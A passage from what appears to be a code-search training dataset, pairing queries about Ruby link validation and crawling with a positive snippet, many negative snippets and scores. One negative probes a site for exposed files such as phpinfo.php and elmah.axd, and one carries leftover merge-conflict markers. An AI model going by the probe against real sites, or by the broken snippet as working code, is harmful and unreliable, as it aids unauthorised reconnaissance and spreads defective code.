"0.53321046",
"0.5332025",
"0.53284645",
"0.53197974",
"0.5318678",
"0.5318678",
"0.53171057",
"0.53170073",
"0.5296095"
] | 0.7373571 | 3 |
validates self and searches for new pages to validate | def validate(hydra, &on_complete)
raise 'link has no queue to use' if not @queue
puts "querying #{uri}" if @opts[:verbose]
tries = 0
begin
# request = Typhoeus::Request.new(uri.to_s, method: (@opts[:duplicate] ? :get : :method), auth_method: :auto, proxy_auth_method: :auto)
opts = {
headers: @@HTTP_header.merge(@opts[:duplicate] ? {} : { 'Accept' => 'text/html,application/xhtml+xml,application/xml,text/css,text/javascript' }),
}
# set up the proxy and proxy auth on the request if necessary
proxy = self.proxy
if proxy
puts "using proxy #{proxy[2]}:#{proxy[3]}@#{proxy[0]}:#{proxy[1]}" if @opts[:verbose]
opts.proxy = "http://#{proxy[0]}:#{proxy[1]}"
if not proxy[2].empty?
opts.proxy_username, opts.proxy_password = proxy[2], proxy[3]
elsif @@userpass_list[:proxy]
opts.proxy_username, opts.proxy_password = @@userpass_list[:proxy]
end
end
# set up the auth on the request if necessary
if uri.userinfo
opts.username = uri.user
opts.password = uri.password
elsif @@userpass_list[uri.host]
opts.username, opts.password = @@userpass_list[uri.host]
end
request = Typhoeus::Request.new(uri.to_s, opts)
request.on_complete {|response|
puts 'processing response from ' + uri.to_s if @opts[:verbose]
if response.code == 401 or response.code == 407
# the request requires authentication so ask the user for username and password
# XXX there's a race here between setting userpass_list, queuing the request, and then an intervening request checking the unconfirmed userpass at the code above
host = (response.code == 401 ? uri.host : :proxy)
puts 'asking for ' + uri.to_s
userpass = LinkToLoad.ask_for_userpass((host == :proxy ? 'proxy for ' : '') + uri.to_s)
if userpass.empty?
@@userpass_list[host] = false
process_response(response)
else
@@userpass_list[host] = userpass
if host == :proxy
$stderr.puts "setting proxy auth: #{userpass}"
request.proxy_username, request.proxy_password = userpass
else
request.username, request.password = userpass
end
hydra.queue(request)
end
else
process_response(response)
end
on_complete
}
hydra.queue(request)
rescue OpenURI::HTTPError
@queue.invalidate(InvalidURI::General_error, msg: "#{$!.class} - #{$!}")
rescue Timeout
tries += 1
retry unless tries > 2
@queue.invalidate(InvalidURI::Timeout)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def validate_page_existence\n if page.blank?\n errors.add(:page_id, :invalid)\n return false\n end\n self.name = page['name']\n true\n end",
"def scan_site!\n add_pages_for_scan!\n while @pages_for_scan.size > 0\n page = convert_to_valid @pages_for_scan.pop\n next unless page\n @max_pages -= 1\n add_page convert_to_valid(page)\n return if @max_pages <= 0\n add_pages_for_scan!\n optimize_scan!\n end\n end",
"def validate_page(page)\n validator = MarkupValidator.new\n results = validator.validate_text(page)\n return unless results.errors.length > 0\n results.errors.each do |err|\n fail(\"Error #{err.message} on page #{page.current_url}\")\n end\nend",
"def valid?\n is_valid = true\n\n pages.each do |page|\n # Loop through pages to get all errors\n is_valid = false if page.invalid?\n end\n\n is_valid\n end",
"def examine_url_name\n if self.id.nil?\n if RESERVED_PATH.include? self.url_name\n self.errors.add(:url_name,\"#{url_name} 是個保留字,請使用別的字\")\n end\n if self.type.constantize.pluck(\"url_name\").include? self.url_name\n self.errors.add(:url_name,\"#{url_name} 已經被其他頁面使用過了\")\n end\n else\n possible_dup_page = self.type.constantize.find_by_url_name(self.url_name)\n unless possible_dup_page.nil?\n unless self.type.constantize.find_by_url_name(self.url_name).id == self.id\n self.errors.add(:url_name,\"#{url_name} 已經被其他頁面使用過了\")\n end\n end\n end\n end",
"def passes_validations?\n return true if skip_validations\n result = true\n pages.each do |page|\n result = false unless page.passes_validations?\n end\n result\n end",
"def test_valid_fields\n\t page = pages(:valid_page)\n\t assert page.valid?\n\tend",
"def page_url_is_correct\n ( current_url =~ self.class.page_url_validation_value ) !=nil\n end",
"def matched_pages\n PageValidator.pages.select{|klass| klass.opened? }\n end",
"def parser_url\n @pages_tree = session[:pages_tree]\n @pages_menu = session[:pages_menu]\n page_id = @pages_tree.index(\"/\" + params[:url].to_s)\n if page_id.nil?\n respond_to do |format|\n format.html { redirect_to @pages_tree[((Page.where([\"parent_id is NULL\"])).minimum(:id)).to_s], notice: \"Page #{params[:url].to_s} not exists.\" }\n end\n else\n @page = Page.find(page_id)\n end\n end",
"def after_validation_on_update\n\t\tself.permalink = Page.find_by_id(self.id).permalink if self.permalink.empty?\n\tend",
"def check_pages\n if pages.length > 0\n return false\n end\n return true\n end",
"def validate\n super\n\n if server.nil?\n errors.add :over_capacity, 'We are currently at capacity, and cannot create your home page. We will fix this shortly. Please come back later and try again, our apologies.'\n end\n\n # TODO regex fails for usernames <= 2 chars, tempfix for now.\n if new? && values[:username].length > 2 && !values[:username].match(VALID_HOSTNAME)\n errors.add :username, 'A valid user/site name is required.'\n end\n\n if new? && values[:username].length > 32\n errors.add :username, 'User/site name cannot exceed 32 characters.'\n end\n\n # Check for existing user\n user = self.class.select(:id, :username).filter(username: values[:username]).first\n\n if user\n if user.id != values[:id]\n errors.add :username, 'This username is already taken. Try using another one.'\n end\n end\n\n if values[:password].nil? || (@password_length && @password_length < MINIMUM_PASSWORD_LENGTH)\n errors.add :password, \"Password must be at least #{MINIMUM_PASSWORD_LENGTH} characters.\"\n end\n\n if !values[:domain].nil? && !values[:domain].empty?\n if !(values[:domain] =~ /^[a-zA-Z0-9.-]+\\.[a-zA-Z0-9]+$/i) || values[:domain].length > 90\n errors.add :domain, \"Domain provided is not valid. Must take the form of domain.com\"\n end\n\n site = Site[domain: values[:domain]]\n if !site.nil? && site.id != self.id\n errors.add :domain, \"Domain provided is already being used by another site, please choose another.\"\n end\n end\n end",
"def add_pages_for_scan!\n @pages_for_scan = []\n @bad_pages = []\n @pages.each do |page|\n @bad_pages << page.page_url unless page.page_a_tags\n next unless page.page_a_tags\n page.home_a.each do |link|\n @pages_for_scan << link\n end\n end\n end",
"def validate\n \n \n end",
"def validate\n # add errors if not validate\n end",
"def validate_sites\n return errors.add(:base, :missing_sites_entries, link_id: 'add_site') if sites.blank?\n\n validate_sub_objects(sites, 'edit')\n end",
"def search_success\n page(SubmissionPage).create_post(\"search query\")\n page(FeedDetailsPage).view_search(\"Microsoft\")\n page(FeedDetailsPage).touch_rec\n page(FeedDetailsPage).view_search(\"Microsoft\")\nend",
"def goto(page)\n @current_page = page\n validate\n end",
"def verify_self\n self.verify_google_search_input\n end",
"def crawl\n # TODO flush the page cache. We cache the crawled pages.\n begin\n account_detail_page #This will get us as far as we want to go, through several pages\n rescue *ERRORS_TO_RESCUE_FROM => e\n errors[:message] = e.message\n errors[:page_url] = e.page.uri\n errors[:page_body] = e.page.body\n return nil\n end\n end",
"def check_existing_home_page\n\t\tif self.home_page?\n\t\t\t@old_home = Page.get_home_page\n\t\t\tunless @old_home.nil? || @old_home == self\n\t\t\t\t@old_home.home_page = false\n\t\t\t\t@old_home.save\n\t\t\tend\n\t\tend\n\t\t\n\tend",
"def validate\n end",
"def validate\r\n\r\n end",
"def pages; end",
"def validate(_post, document, site)\n site_url_paths = Set.new((site.posts.docs + site.pages).map do |page|\n Addressable::URI::parse(page.url).path\n end)\n bad_links = Hash.new { |h, k| h[k] = [] }\n\n site_url = site.config[\"url\"]\n site_host = nil\n site_scheme = nil\n if not site_url.nil? and not site_url.empty?\n parsed_site_url = Addressable::URI::parse(site_url)\n site_host = parsed_site_url.host\n site_scheme = parsed_site_url.scheme\n end\n\n document.search('a').each do |node|\n link_address = node['href']\n parsed_url = Addressable::URI::parse(link_address)\n # Continue if the link points to another site.\n next unless parsed_url.host.nil? or parsed_url.host == site_host\n if not site_scheme.nil? and not parsed_url.scheme.nil? and\n parsed_url.scheme != site_scheme\n bad_links[link_address] << Messages::BAD_SCHEME\n end\n if not site_url_paths.member?(parsed_url.path)\n bad_links[link_address] << Messages::NONEXISTENT\n end\n end\n\n return nil if bad_links.empty?\n\n # Look for internal links that don't exist.\n bad_links.map { |link, messages| \"#{link} #{messages.join(\" and \")}!\" }\n .join(\"\\n\")\n end",
"def validate; end",
"def validate; end",
"def validate; end",
"def validate; end",
"def validate!\n\t\t\t\treturn true\n\t\t\tend",
"def validate!\n # pass\n end",
"def validations\n valid_page_number? if page_number\n valid_period_name? if period_param\n valid_date? if date_param\n end",
"def validate_homepage(spec)\n if spec.homepage\n validate_url(spec.homepage)\n end\n end",
"def _validate_homepage(h)\n if h =~ %r{http://EXAMPLE}\n results.add_warning('homepage', 'The homepage has not been updated' \\\n ' from default')\n end\n end",
"def site_pages \n Rails.application.reload_routes!\n page_routes = Rails.application.routes.routes.select do |route|\n route.verb == \"GET\" && !route.name.blank? && !route.name.match(/^edit/) && !route.name.match(\"translat\") && !route.name.match(\"external_author\")\n end\n\n @paths = []\n @errors = []\n @errors << \"Skipping translation and external author pages because these areas are in-progress.\"\n\n page_routes.each do |r|\n path = r.path.split('(').first\n while (path.match(/:([^\\/]+)_id\\//)) do\n id = get_id(path, current_user, $1.singularize)\n if id\n path.gsub!(\":#{$1}_id\", \"#{id}\") if id\n @last_id = id\n else\n @errors << \"Couldn't find object for #{path}, #{$1}\"\n break\n end\n end\n\n if (path.match(/\\/([^\\/]+)\\/:id/))\n id = get_id(path, current_user, $1.singularize)\n if id\n path.gsub!(\":id\", \"#{id}\")\n @last_id = id\n else\n @errors << \"Couldn't find object for #{path}, id\"\n end\n end\n\n @paths << [path, r.name]\n end\n \n render :action => \"site_pages\", :layout => \"application\"\n end",
"def verify_component_after_saving(fieldname)\n if(fieldname == \"Page break\")\n element_id = \"//input[@id='edit-next']\"\n self.check_element_presence_nextpage(element_id, fieldname)\n elsif (fieldname == \"Hidden field\")\n element_id = \"//input[@type = 'hidden' and @value = '' and contains(@name, 'submitted')]\"\n self.check_element_presence_nextpage(element_id, fieldname)\n elsif (fieldname == \"Formatted content\")\n element_id = \"//strong[contains(text(), 'New HTML Markup')]\"\n self.check_element_presence_nextpage(element_id, fieldname)\n else\n element_id = \"//*[contains(text(), '#{fieldname}')]\"\n self.check_element_presence_nextpage(element_id, fieldname)\n end\n end",
"def assign_pages!; end",
"def validate\n validates_not_null :query\n validates_type String, :query\n validates_length_range 0..20, :query\n validates_not_null :page\n validates_type Integer, :page\n end",
"def validate!\n super()\n self\n end",
"def validate\n end",
"def validate\n end",
"def validate\n end",
"def check_has_form(page)\n inputs = page.search('input')\n inputs.each do |input|\n attrs = input.attributes.select { |k,v| v.value =~ /^name|login|password|username|^email$$/i } \n go_ahead = (!attrs.compact.empty?)\n if go_ahead\n puts \"I think I found the login url for #{page.uri.to_s}\"\n login_page = page\n puts \">> #{login_page.uri}\\n\\n\"\n return true\n end\n\n \n end\n return false\nend",
"def validation; end",
"def validation; end",
"def validate!; end",
"def validate!; end",
"def validate!; end",
"def set_page\n @page = Page.find_by(id: params[:id],site_id: @site.id)\n redirect_to admin_errors_url(error_template: '403') unless @page\n end",
"def validate\n\n end",
"def pages\n end",
"def pages_slug_validation\n return unless catalog\n\n return unless catalog.pages.exists?(slug: slug)\n\n errors.add :slug, I18n.t(\"validations.item_type.pages_slug\")\n end",
"def beforeValidation\n\n puts \"-----------beforeValidation------------\"\n\n #selfTest(self)\n\n puts \"-----------beforeValidation------------\"\n\n\n \n end",
"def parse\n super\n if next_page_url\n @doc = get_document(URI(next_page_url))\n self.parse\n end\n self\n end",
"def invalid_page\n redirect_to(:back)\n end",
"def check_landing_page\n\t\tif self.landing_page? && !self.category.blank?\n\t\t\t@old_landing_page = Page.find_by_category_and_landing_page(self.category, true)\n\t\t\tunless @old_landing_page.nil? || @old_landing_page == self\n\t\t\t\t@old_home.landing_page = false\n\t\t\t\t@old_home.save\n\t\t\tend\n\t\telsif self.landing_page? && self.category.blank?\n\t\t\tself.landing_page = false\n\t\tend\n\t\t\n\tend",
"def validator; end",
"def save_and_open_page_on_failure\n @save_and_open_page_on_failure ||= false\n end",
"def extract_valid_rps(site)\r\n site.collections[rp_key].docs.map { |p| RpLogs::Page.new(p) }\r\n .reject do |p|\r\n message = p.errors?(self.class.parsers)\r\n skip_page(site, p, message) if message\r\n message\r\n end\r\n end",
"def step_validation\n step_index = form_steps[:pages].index(form_step)\n\n if self.form_steps[:pages].index('title') <= step_index\n self.errors['name'] << 'You must enter a name for the dataset' if self.name.blank? || self.name.strip.blank?\n end\n\n if self.form_steps[:pages].index('connector') <= step_index\n self.errors['type'] << 'You must enter a connector type' unless CONNECTOR_TYPES.include? self.type\n self.errors['provider'] << 'You must enter a connector provider' unless CONNECTOR_PROVIDERS.include? self.provider\n self.errors['connector_url'] << 'You must enter a valid url' \\\n unless self.connector_url && !self.connector_url.blank? && valid_url?(self.connector_url)\n end\n\n if self.form_steps[:pages].index('labels') <= step_index\n unless self.legend && self.legend.is_a?(Hash)\n self.errors['legend'] << 'Labels not correctly defined'\n return\n end\n self.errors['legend'] << 'Latitude and Longitude have to be filled together' if\n self.legend[:lat].blank? ^ self.legend[:long].blank?\n self.errors['legend'] << 'Country and Region have to be filled together' if\n self.legend[:country].blank? ^ self.legend[:region].blank?\n end\n end",
"def initialize_empty_page\n if self.pages.empty?\n self.draft = self.pages.create!\n self.save\n end\n end",
"def validate\n validate_root\n validate_associated\n valid?\n end",
"def validate_profile(page, first_name, last_name, employer, title)\n full_name = I18n.transliterate(\"#{first_name} #{last_name}\").alnum\n return false unless page.at_css(\"#name\")\n profile_name = I18n.transliterate(page.at_css(\"#name\").text).alnum\n puts '############# ACCESS GRANTED ############'\n puts profile_name\n return false unless page.css(\"#experience .positions .position\")\n positions = page.css(\"#experience .positions .position\")\n match = false\n unless split_string_comp(profile_name, full_name) == true\n return match\n end\n positions.each do |position|\n begin\n if position.at_css(\"header .item-title a\") && position.at_css(\"header .item-subtitle\")\n profile_title = I18n.transliterate(position.at_css(\"header .item-title a\").text).alnum\n profile_employer = I18n.transliterate(position.at_css(\"header .item-subtitle\").text).alnum\n title = I18n.transliterate(title).alnum\n employer = I18n.transliterate(employer).alnum\n if split_string_comp(profile_title, title) && split_string_comp(profile_employer, employer)\n match = true\n end\n end\n rescue Exception => e\n puts e\n end\n end\n return match\nend",
"def validate\n end",
"def validate\n end",
"def validate\n end",
"def validate_name_and_url\n # check name and url_safe_name first and set validation error\n if self.name.blank? || self.name.nil?\n errors.add(:name, \" cannot be blank - please provide a name for your study.\")\n end\n if Study.where(name: self.name).any?\n errors.add(:name, \": #{self.name} has already been taken. Please choose another name.\")\n end\n if Study.where(url_safe_name: self.url_safe_name).any?\n errors.add(:url_safe_name, \": The name you provided (#{self.name}) tried to create a public URL (#{self.url_safe_name}) that is already assigned. Please rename your study to a different value.\")\n end\n end",
"def create\n @subject = Subject.find(params[:subject_id])\n # @page = Page.new(page_params)\n @page = @subject.pages.new(page_params)\n @pageable = @page.pageable\n if @page.save\n # @page.pageable_type == \"Question\"\n # redirect_to '/admin/subjects/\"#{subject}/pages/\"#{page}\"/questions/new'\n @page.pageable = @pageable\n # @page = Page.find(page_params)\n\n redirect_to new_admin_subject_page_question_path\n # elsif @page.pageable_type == \"Instruction\"\n # redirect_to new_admin_subject_instruction_path \n # end\n \n else\n render action: 'new' \n \n \n end\n end",
"def get_page\n begin\n puts \"@@@@@@@@@@@@@ Visiting: #{@url} from #{@parent_page.address if @parent_page.present?}\"\n require 'nokogiri'\n require 'open-uri'\n @page = Nokogiri::HTML(open(@url))\n @page_title = (title_container = @page.css('title').first) ? title_container.content : \"Title unknown\"\n @links = @page.css(\"a\")\n\n return true\n rescue => exc\n puts \"==Problem with URL #{@url} == #{ exc.message}\"\n return false\n end\n end",
"def validade_confirmation_page\n @current_confirmation_page = URI.parse(current_url).request_uri\n puts @current_confirmation_page\n if @current_confirmation_page.include?('/confirmation/')\n puts puts \"Same URL\"\n else\n puts \"Wrong URL #{@current_confirmation_page}\"\n end\n end",
"def create_new_page(page_params, version_params)\n the_page = Page.new :slug => page_params[:slug], \n :title => page_params[:title], \n :breadcrumb => page_params[:slug],\n :class_name => 'Page',\n :parent_id => 1,\n :layout_id => nil,\n :virtual => false\n \n the_version = PageVersion.new :page_id => -1, \n :content_status_id => ContentStatus[:draft].id, \n :body_content => version_params[:body_content],\n :page_title => version_params[:page_title],\n :meta_keywords => version_params[:meta_keywords],\n :meta_description => version_params[:meta_description] \n \n # calling these separate so they both run and we can combine the errors\n page_valid = the_page.valid?\n version_valid = the_version.valid?\n \n if page_valid and version_valid\n if the_page.save\n # add some default content parts to that page\n the_page.update_part_content('body', version_params[:body_content])\n \n the_page.update_part_content('title_tag', '')\n the_page.update_part_content('header_content', '<img class=\"hero\" src=\"/_images/hero_about_us.jpg\" alt=\"Get back to life with Texas Back Institutes back, neck and spine care. Make an appointment now. \" width=\"956\" height=\"119\">')\n the_page.update_part_content('body_class', '')\n the_page.update_part_content('secondary', '') \n \n the_version.page_id = the_page.id\n \n if the_version.save\n self.page_id = the_page.id\n self.name = the_page.title\n \n @page_object = the_page\n @version_object = the_version\n \n return self.save\n end\n end\n end\n \n merge_errors(the_page, the_version)\n \n @page_object = the_page\n @version_object = the_version\n \n return false\n end",
"def send_pages\n Msg.resolve(recipient).each do |user|\n next if !user.sms_validated?\n p = Page.new_page_to_user(self, user)\n end\n self\n end",
"def run_validations\n true\n end",
"def verify_page(page_title=nil, page_url=nil)\n if page_title\n raise \"Title of the page is not #{page_title}\" unless self.title == page_title\n elsif page_url\n raise \"URL of the page does not contain #{page_url}\" unless self.current_url.to_s.include?(page_url.downcase)\n else\n raise \"Provide either title or part of url to verify page\"\n end\n end",
"def validate_shared_parent\n end",
"def create\n redirect_to pages_path\n end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def new\n redirect_to lato_pages.pages_path\n end",
"def valid_page page\n # ignore case\n if page\n page.downcase!\n else\n return false\n end\n # verify page name\n exists = false\n if page == 'about'\n exists = true\n end\n if page == 'contact'\n exists = true\n end\n if page == 'welcome'\n exists = true\n end\n if page == 'info'\n exists = true\n end\n return exists\n end",
"def validate\n super \n end",
"def check(url, root=nil)\n create_instance\n @link_collector.check(url, root)\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def check\n # ----------------------------------------------------------------------------\n<<<<<<< HEAD\n=======\n this is a search function\n @found_person = nil\n>>>>>>> develop\n\n if params[:search]\n empty_search = params[:search].empty?\n else\n empty_search = true\n end\n\n if empty_search\n # no search was submitted, or search params are all blank\n @search = \"\"\n @searched_child = []\n\n flash.now[:notice] = \"The search field is empty \"\n render \"check\"\n else\n # a search was submitted\n @search = Child.search(params[:search])\n @searched_child = @search.all\n\n if @searched_child.count >= 1\n redirect_to :controller => :check_up, :action => 'summary', :child_id => session[:child_id] = @searched_child.first.id and return\n else\n flash.now[:notice] = \"No results found\"\n render \"check\"\n end\n end\n end",
"def create\n\t\tpre_new\n\t\[email protected]!\n\t\tflash[:notice] = 'New Page was successfully saved.'\n\t\tredirect_to @page.sitepath\n\t#rescue NoMethodError\n\t#\trender :action=>:new\n\trescue ActiveRecord::RecordInvalid\n\t\trender :action=>:new\n\trescue\n\t\tflash.now[:error] = 'An error occurred while trying to save your new Page.'\n\t\trender :action=>:new\n\tend",
"def store_page\n @stored_page = @crwlr.pages.create(:address => @url, :title => @page_title[0..200], :number_of_links => @links.size)\n if @parent_page\n @parent_page.pages << @stored_page\n end\n end",
"def check_account_filling\n return unless depricated_page?\n\n redirect_to edit_account_path(current_account) unless\n request.get? &&\n current_user&.valid? &&\n current_account&.valid?\n end",
"def webmaster_verification\n add_google_routes\n add_yahoo_routes\n add_live_route\n end",
"def run\n super\n\n # Base checklist\n to_check = [\n { :path => \"crossdomain.xml\", :signature => \"<?xml\" },\n { :path => \"elmah.axd\", :signature => \"Error Log for\" },\n { :path => \"phpinfo.php\", :signature => \"phpinfo()\" },\n { :path => \"robots.txt\", :signature => \"user-agent:\" },\n { :path => \"sitemap.xml\", :signature => \"<?xml\" },\n { :path => \"sitemap.xml.gz\", :signature => \"<?xml\" },\n ]\n\n # Add in un-sig'd checks \n unsig_checks = IO.readlines(\"#{Rails.root}/data/web.list\")\n unsig_check_list = unsig_checks.map { |x| { :path => x.chomp, :signature => \"\" } } \n to_check += unsig_check_list\n\n test_url = \"#{@entity.name}/there-is-no-way-this-exists-#{rand(10000)}\"\n missing_page_content = open_uri_and_return_content(test_url, @task_logger)\n\n # Run through the checks\n to_check.each do |check|\n\n # Concat the uri to create the check\n url = \"#{@entity.name}/#{check[:path]}\"\n @task_logger.log \"Connecting to #{url} for #{@entity}\" \n\n # Do the request\n content = open_uri_and_return_content(url,@task_logger)\n\n # Return if we didn't get anyting\n next unless content\n\n # Check to make sure this is a legit page, and create an entity if so\n # \n # Note that the signature is blank for unsig_checks\n #\n # TODO - improve the checking for wildcard page returns and 404-200's\n\n if content.include? check[:signature] and content != missing_page_content\n # create an entity if we match\n create_entity Entities::WebPage, { :name => \"#{url}\", :uri => \"#{url}\", :content => \"#{content}\" }\n end\n\n end\nend",
"def removeErrors!\n @pages.reject! { |page, entries| entries.any? { |entry| entry[:type] == Check::ERROR } }\n end"
] | [
"0.65158445",
"0.61410904",
"0.6084954",
"0.5912128",
"0.5824427",
"0.57929707",
"0.5708629",
"0.56867766",
"0.5680132",
"0.5664891",
"0.56567043",
"0.5653245",
"0.56360173",
"0.561327",
"0.55930126",
"0.55798876",
"0.5569805",
"0.5551614",
"0.5549726",
"0.5540649",
"0.5524298",
"0.5522625",
"0.5518166",
"0.5509721",
"0.5492186",
"0.54597706",
"0.54531455",
"0.54531455",
"0.54531455",
"0.54531455",
"0.5451719",
"0.5449876",
"0.5416866",
"0.5411212",
"0.5399138",
"0.5391306",
"0.5388508",
"0.53859675",
"0.53853256",
"0.5385297",
"0.53625417",
"0.53625417",
"0.53625417",
"0.5361145",
"0.53582174",
"0.53582174",
"0.53207695",
"0.53207695",
"0.53207695",
"0.5302956",
"0.53029543",
"0.52977186",
"0.52803606",
"0.52728134",
"0.5271282",
"0.5264647",
"0.526445",
"0.52623075",
"0.5251548",
"0.52268505",
"0.52201796",
"0.5217789",
"0.52177393",
"0.5207878",
"0.5202382",
"0.5202382",
"0.5202382",
"0.51984584",
"0.5195546",
"0.51894224",
"0.51866066",
"0.5181919",
"0.51814413",
"0.5170214",
"0.5164297",
"0.51629657",
"0.5161336",
"0.51557535",
"0.51557535",
"0.51557535",
"0.51557535",
"0.51557535",
"0.51557535",
"0.51557535",
"0.51557535",
"0.51557535",
"0.51557535",
"0.51557535",
"0.51557535",
"0.51551986",
"0.51337254",
"0.51260155",
"0.51217145",
"0.51128125",
"0.51045823",
"0.51044667",
"0.51018786",
"0.51011837",
"0.51006675",
"0.5095686",
"0.5094498"
] | 0.0 | -1 |
handle the response from the link request | def process_response(response)
content = response.body
content_type = response.content_type
if not content.empty? and content_type['html']
content.force_encoding('iso-8859-1') # all bytes are valid in iso-859-1, so this ensures the next line never throws an encoding exception, yet still allows it to correctly match charset
content.force_encoding($1) if content_type =~ /charset=([^;]+)/i or content =~ /<meta[^>]+charset=["']?([^;"'>]+)/i
end
if response.code == 0
return @queue.invalidate(self, InvalidURI::Bad_response)
elsif response.code == 301
return @queue.invalidate(self, InvalidURI::Page_has_moved, parse_uri(response.location, base, uri))
elsif response.code == 404
# check for meta refreshes and javascript refreshes
content.each_line {|line|
uri = (match_meta_refresh(line, base, uri) or match_javascript_refresh(line))
return @queue.invalidate(self, InvalidURI::Page_has_moved, uri) if uri
} if not content.empty? and content_type['html']
return @queue.invalidate(self, InvalidURI::Not_found)
elsif response.code == 406
# link is valid but not of a type we care about
return
elsif not response.success? and response.code != 302 and response.code != 303
return @queue.invalidate(self, ((300..399) === response.code ? InvalidURI::General_redirect : InvalidURI::General_error), ((300..399) === response.code ? '' : "#{response.code} - ") + (response.status_message ? response.status_message.downcase : ''))
end
# search through the content for more links if doing recursive processing
if opts[:recurse]
if content_type['html']
parse_html(content)
elsif content_type['css']
parse_css(content)
elsif content_type['javascript']
parse_javascript(content)
end
end
# save the content if asked to
duplicate(content_type, content) if @opts[:duplicate] and response.success? and LinkToLoad.within_root?(uri)
if response.code == 302 or response.code == 303
# gotten a temporary redirect code, so set a redirect for the page, invalidate it, and add a new entry for the new uri onto the queue
new_uri = parse_uri(response.location, base, uri)
within_root = LinkToLoad.within_root?(new_uri)
redirects_to = new_uri
redirect_code = response.code
@queue.add_uri(new_uri, uri, within_root) if not @opts[:duplicate] or within_root
@queue.invalidate(self, InvalidURI::Other_uri, redirect_code)
elsif meta_refresh
@queue.invalidate(self, InvalidURI::Page_has_moved, meta_refresh)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def handle_response(response); end",
"def handle_response(response); end",
"def handle_links(json) end",
"def handle_response(response)\n case response\n when Net::HTTPRedirection\n options[:limit] -= 1\n self.path = response['location']\n @redirect = true\n aggregate_cookies_and_perform(response)\n else\n parsed_response = parse_response(response.body)\n Response.new(parsed_response, response.body, response.code, response.message, response.to_hash)\n end\n end",
"def detect_new_article_link(link)\n response = Net::HTTP.get_response(URI.parse(link))\n puts \"#{link}\"\n puts \"......response.code => #{response.code} \"\n response\nend",
"def got_response(response)\n end",
"def process_response(response)\n case response\n when Net::HTTPFound, Net::HTTPCreated\n response['Location']\n when Net::HTTPConflict\n raise URLConflict\n when Net::HTTPNotAcceptable\n raise URLFormatError\n else\n raise InvalidResponse.new(\"Invalid Shorty Response Code: #{response.code} #{response.message}\")\n end\n end",
"def parse_link; end",
"def receive_response(response); end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def process_response(obj)\n end",
"def direct_link\n link = params[:link];\n if ( link.blank? )\n add_error(\"EMPTY DIRECT LINK\");\n redirect_to :controller=>\"general\";\n return;\n end\n begin\n as = ApplicationState.unmarshal(link.strip);\n logger.info \"******* as=#{as.to_hash().to_s}\"\n logger.info \"******* as=#{as.redirect_to_hash().to_s}\"\n # TODO see that as.user equals the current user, and hadle in-equality.\n redirect_to :controller=>\"mt_company\", :action=>\"mt_req_show\", :id=>\"330\" #as.redirect_to_hash();\n return;\n rescue Exception => e\n add_error( e.message );\n add_error( \"<pre>#{params[:link]}</pre>\")\n add_error(\"BAD DIRECT LINK\");\n redirect_to :controller=>\"general\";\n end\n end",
"def handle_response(response)\n handler_for_code(response.code).call(response)\n end",
"def check_response(response)\n case response\n when Net::HTTPSuccess then\n #puts response\n when Net::HTTPRedirection then\n location = response['location']\n warn \"redirected to #{location}\"\n fetch(location, limit - 1)\n else\n puts response.value\n end\nend",
"def finish_response; end",
"def on_success(_request, response)\n response\n end",
"def respond(link, url)\n case params['format']\n # Handle format = html\n when 'html'\n return haml :main, locals: { link: link }\n # Handle format = image\n when 'image'\n link.sub!('https://', 'http://')\n uri = URI(link)\n\n head = Net::HTTP.start(uri.host, uri.port) do |http|\n http.head(uri.request_uri)\n end\n\n headers 'Content-Type' => 'image/jpeg'\n headers 'Cache-Control' => 'max-age=2592000, no-transform, public'\n headers 'Expires' => 'Thu, 29 Sep 2022 01:22:54 GMT+00:00'\n\n return stream do |out|\n Net::HTTP.get_response(uri) do |f|\n f.read_body { |ch| out << ch }\n end\n end\n # Handle no format or format = json.\n else\n content_type :json\n return JSONP({ link: link, website: url }) # JSONP is an alias for jsonp method\n end\nend",
"def handle_response(response)\n response.body if response.success?\n end",
"def handle_redirect(response)\n redirect_href = response.http_header[\"Location\"]\n redirect_href = redirect_href.first unless !redirect_href.is_a? Array\n redirect_href = expand_path(redirect_href)\n store_link('redirect', redirect_href, @link_id)\n end",
"def handle_response(response, success_state, failure_state)\n if response.is_a?(Spree::Adyen::BillingResponse) && response.redirect?\n self.create_redirect_response!(\n md: response.md,\n pa_request: response.pa_request,\n issuer_url: response.issuer_url,\n psp_reference: response.psp_reference\n )\n end\n\n super\n end",
"def process_response(cgi_response, ssb_response)\n case\n when ssb_response.nil?\n ['response is nil', 'N/A']\n when ssb_response.instance_of?(String)\n string_response(cgi_response, ssb_response)\n when ['301', '302'].include?(ssb_response.code)\n redirect_response(cgi_response, ssb_response)\n else\n ok_response(cgi_response, ssb_response)\n end\n end",
"def parse_response!; end",
"def handle_response(response)\n type, msgid, error, result = response\n if observable = @requests[msgid]\n @requests[msgid].set_response(result, error)\n else\n warn \"unknown response with id=#{msgid}\"\n end\n end",
"def issue_from_link(link)\n uri = URI.parse(link)\n http = Net::HTTP.new(uri.host)\n response = http.get(uri.path)\n if response.code == '200'\n return response.body.dup\n else\n return nil\n end\n end",
"def on_response &b\n @response_proc = b\n self\n end",
"def match_response(req, res)\n\t\t# Instead of callbacks, i can have a url pattern check here to determine appropriate respose\n\t\turl = req.url\n\t\thtml = res.body\n\t\t#binding.pry\n\n\t\t#Match conditions here\n\t\tif url.match(/zip-codes\\/\\d+/)\n\t\t\t#binding.pry\n byebug\n\t\t\t#movers = parse(html, get_params(url, :ProMoverZip))\n\n\t\t\t#moverdatawriter.write_hashes(movers)\n \n # get pagination links here\n\n\t\t\t#bizlinkw.write_array(mlinks)\n\t\t\t#zip_writer.write_array(ziplinks)\n\t\t\t# Queue the business links\n\t\t\t#Uncomment after replacing these links by webcache links\n\t\t\t##binding.pry\n\t\t\t#queue_links(ziplinks)\n elsif url.match(/zip-codes\\/\\d+\\?page=\\d+/)\n \n\t\tend\n\t\t#Possible actions are pagination_links, parse_links\n\t\t\t\t\n\tend",
